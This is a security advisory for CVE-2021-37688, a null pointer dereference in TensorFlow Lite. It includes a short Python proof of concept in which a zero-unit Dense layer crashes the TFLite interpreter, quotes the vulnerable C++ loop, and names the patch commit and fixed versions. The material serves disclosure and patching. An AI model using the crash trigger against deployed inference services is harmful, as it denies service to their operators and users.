CVE-2021-37688

HIGH7.8EPSS 0.05%

Null pointer dereference in TFLite

Published: 8/25/2021Modified: 3/13/2026

Description

### Impact An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service: ```python import tensorflow as tf model = tf.keras.models.Sequential() model.add(tf.keras.Input(shape=(1, 2, 3))) model.add(tf.keras.layers.Dense(0, activation='relu')) converter = tf.lite.TFLiteConverter.from_keras_model(model) tflite_model = converter.convert() interpreter = tf.lite.Interpreter(model_content=tflite_model) interpreter.allocate_tensors() interpreter.invoke() ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285) unconditionally dereferences a pointer. ```cc if (y4 > 1) { // ... } else { for (int i0 = 0; i0 < y0; ++i0) { const T* input2_data_ptr = nullptr; for (int i1 = 0; i1 < y1; ++i1) { input2_data_ptr = input2_data_reset; for (int i2 = 0; i2 < y2; ++i2) { scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr, output_data_ptr); } } } } ``` ### Patches We have patched the issue in GitHub commit [15691e456c7dc9bd6be203b09765b063bf4a380c](https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

Affected packages (7)

CVSS scores

SourceVersionSeverityVector
osvCVSS 4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
osvCVSS 3.1HIGH7.8CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References (8)